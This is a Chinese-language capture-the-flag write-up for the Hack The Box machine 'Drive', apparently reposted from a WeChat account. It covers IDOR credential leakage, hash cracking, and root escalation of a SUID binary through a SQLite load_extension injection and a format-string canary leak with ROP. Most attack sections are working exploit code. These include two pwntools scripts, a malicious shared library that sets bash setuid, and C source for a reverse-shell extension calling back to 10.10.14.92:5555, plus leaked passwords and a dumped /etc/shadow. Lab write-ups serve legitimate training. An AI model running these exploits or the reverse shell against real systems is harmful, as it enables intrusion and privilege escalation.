知识点:IDOR不安全的直接对象引用;隐藏端口反向隧道;sqlite拼接load_extention运行加载so文件。
Scan
┌──(kali㉿kali)-[~/Desktop/htb/drive]
nmap -sC -sV -Pn 10.10.11.235
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-25 09:46 EDT
Nmap scan report for drive.htb (10.10.11.235)
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
3072 275a9fdb91c316e57da60d6dcb6bbd4a (RSA)
256 9d076bc847280df29f81f2b8c3a67853 (ECDSA)
256 1d30349f797369bdf667f3343c1ff94e (ED25519)
open http nginx 1.18.0 (Ubuntu)
Doodle Grive :
nginx/1.18.0 (Ubuntu) :
filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.21 seconds
Enum
随便注册账户,可以上传,上传后有reserve功能
bp抓包,发现接口存在IDOR,直接修改ID即可查看他人文件,在id为79的文件中得到用户名和密码
martin
Xk4@KjyrYv8t194L!
martin
ssh登录后发现外部被过滤的3000端口
gitea
打反向隧道端口转发
ssh -L 3000:127.0.0.1:3000 martin@10.10.11.235
发现是gitea,用邮箱登录
[email protected]
Xk4@KjyrYv8t194L!
发现一个有访问权限的repo,里有一个sh文件,用于加密备份sqlite3,几个压缩包分别解压查看sqlite3文件,得到的一些hash中有一条可以破解出tom现在的密码
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
爆破出后直接ssh登录即可user
7z x -p'H@ckThisP@ssW0rDIfY0uC@n:)' 1_Nov_db_backup.sqlite3.7z
sqlite> select * from accounts_customuser;
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
hashcat -m 124 hash /usr/share/wordlists/rockyou.txt
#这里用john不知道为什么不行
john --format=raw-sha1 -w:/usr/share/wordlists/rockyou.txt hash
tom:johnmayer7
Root
当前用户目录有个suid的doodleGrive-cli,运行发现需要用户名和密码,之前得到的没用,下载到本地逆向分析一下
scp tom@10.10.11.235:/home/tom/doodleGrive-cli .
得
moriarty
[email protected]!
使用得到的用户名密码测试,发现是用来管理网站那边用户的程序:
这个程序有两种利用方式,另一种是常规web方式,向喵师傅又学了二进制方式直接pwn掉。
Web
main_menu的选项5,输入的用户名过滤后拼接到执行的sqlite命令中:
常用的命令注入方式都被过滤了,但sqlite可以使用load_extention运行时加载so文件
参考链接:https://www.sqlite.org/loadext.html
首先自己编译一个so文件
//gcc -shared gq.c -o 0.so -nostartfiles -fPIC
#-nostartfiles: 这个选项告诉编译器不要链接标准启动文件。这通常用于创建共享库,因为它们不需要包含程序的入口点。
#-fPIC: 这个选项告诉编译器生成位置无关代码(Position Independent Code,PIC)。这对于共享库是必需的,因为它允许库加载到内存中的不同位置而不会出现问题。
void _init() {
system("/usr/bin/chmod +s /bin/bash");
}
直接闭合用户名后用char函数来指定so路径
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,48))+"
# 46 47 48 -> ./0
完整流程:
tom@drive:~$ gcc -shared gq.c -o 0.so -nostartfiles -fPIC
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
moriarty
Enter password for moriarty:
[email protected]!
Welcome...!
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,48))+"
Activating account for user '"+load_extension(char(46,47,48))+"'...
Error: ./0.so: undefined symbol: sqlite3__init
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 6
exiting...
tom@drive:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
tom@drive:~$
tom@drive:~$ /bin/bash -p
bash-5.0# cat /etc/shadow
root:$6$T11qODg0Qumrq9Zn$3t1nyBLHtah8HAmx80RXRCz6.9tPi0GL7GHMCiWquMQGh/TTrukX8jATmZ5MHDDWu0m4My.HGe29XEsDc2R/k1:19598:0:99999:7:::
daemon:*:19235:0:99999:7:::
bin:*:19235:0:99999:7:::
sys:*:19235:0:99999:7:::
sync:*:19235:0:99999:7:::
games:*:19235:0:99999:7:::
man:*:19235:0:99999:7:::
lp:*:19235:0:99999:7:::
mail:*:19235:0:99999:7:::
news:*:19235:0:99999:7:::
uucp:*:19235:0:99999:7:::
proxy:*:19235:0:99999:7:::
www-data:*:19235:0:99999:7:::
backup:*:19235:0:99999:7:::
list:*:19235:0:99999:7:::
irc:*:19235:0:99999:7:::
gnats:*:19235:0:99999:7:::
nobody:*:19235:0:99999:7:::
systemd-network:*:19235:0:99999:7:::
systemd-resolve:*:19235:0:99999:7:::
systemd-timesync:*:19235:0:99999:7:::
messagebus:*:19235:0:99999:7:::
syslog:*:19235:0:99999:7:::
_apt:*:19235:0:99999:7:::
tss:*:19235:0:99999:7:::
uuidd:*:19235:0:99999:7:::
tcpdump:*:19235:0:99999:7:::
landscape:*:19235:0:99999:7:::
pollinate:*:19235:0:99999:7:::
usbmux:*:19350:0:99999:7:::
sshd:*:19350:0:99999:7:::
systemd-coredump:!!:19350::::::
lxd:!:19350::::::
fwupd-refresh:*:19351:0:99999:7:::
mysql:!:19351:0:99999:7:::
git:*:19351:0:99999:7:::
martin:$6$rR6GFOnwLAEfaINj$RI18xy0ydQaNLQLP90x0JPCfhpl4CEDKDyXVscLYv6idtU8qIFwwZ71mgYXo5szToDDJH37kLN937OvQjdVHt/:19351:0:99999:7:::
cris:$6$rDaC40keXaKXBEPB$oF7NfmyZzRJQ9np3azTYVn.Pt7GVkrfVokUNbJCJ1JLuPVsfI.HKZlUoSfGJu7XQjoiHBAeZI0edCx6yw4aLI0:19351:0:99999:7:::
tom:$6$XHCSbYJInqR0KJy5$SsUnEy1ct2Oish5bkryeFEVF5VqomK/qaYwvFsH36K5u6JlUsE4GbIUsOctl626xxMKLX0TvfpLTWqEKMSXan/:19352:0:99999:7:::
_laurel:!:19606::::::
Pwn
这里用喵师傅的图
格式化字符串:https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf
然后输入密码部分,分配的buffer只有56,但fgets 400,导致溢出,但存在canary:
结合上面的格式化字符串来泄漏canary后进行rop:
-
https://book.hacktricks.xyz/reversing-and-exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie
简单分析可以确定canary的索引15,然后就是基础rop去调用do_system,或者直接交给pwntools自动chain,环境变量问题要用绝对路径
看一下喵师傅的exp:
from pwn import *
context.arch='amd64'
target = './doodleGrive-cli'
e = ELF(target)
ssh_host = '10.10.11.235'
ssh_user = 'tom'
ssh_pass = 'johnmayer7'
ssh_port = 22
sh = ssh(host=ssh_host, user=ssh_user, password=ssh_pass, port=ssh_port)
p = sh.run('./doodleGrive-cli')
p.recvuntil(b"Enter Username:n")
p.sendline(b"%15$llx")
p.recvuntil(b"Enter password for ")
canary = int(p.recv(16),16)
log.info(f"Leaked canary: {hex(canary)}")
rop = ROP(e)
rop.raw(rop.find_gadget(['ret']).address)
rop.system(next(e.search(b"/bin/shx00")))
payload = b"A" * 56 + p64(canary) + b"B" * 8 + rop.chain()
p.sendline(payload)
p.interactive()
自己做的时候打通了但是靶机装不上pwntools,复现发现可以直接攻击机写ssh,贴个本地exp
from pwn import*
context(os = 'linux',arch = 'amd64',log_level='debug')
io=process('./doodleGrive-cli')
io.sendline(b'%15$p')
io.recvuntil(b'nter password for ')
canary=int(io.recv(18),16)
bin_sh=0x497CD5
system=0x0004119D0
pop_rdi_ret=0x0000000000401912
ret=0x000000000040101a
payload=b'a'*0x38+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system)
gdb.attach(io)
io.sendline(payload)
io.interactive()
反弹shell
网上看到别的师傅还有反弹写法:https://github.com/SrcVme50/Dirve
gcc -g -fPIC -shared -p 0.so 0.c
若报错装一下,其余步骤和上述Web方式一致。
apt update | apt install libsqlite3-dev
SQLITE_EXTENSION_INIT1
int tcp_port = 5555;
char *ip = "10.10.14.92";
__declspec(dllexport)
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return rc;
}
原文始发于微信公众号(搁浅安全):HTB-Drive(Hard)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论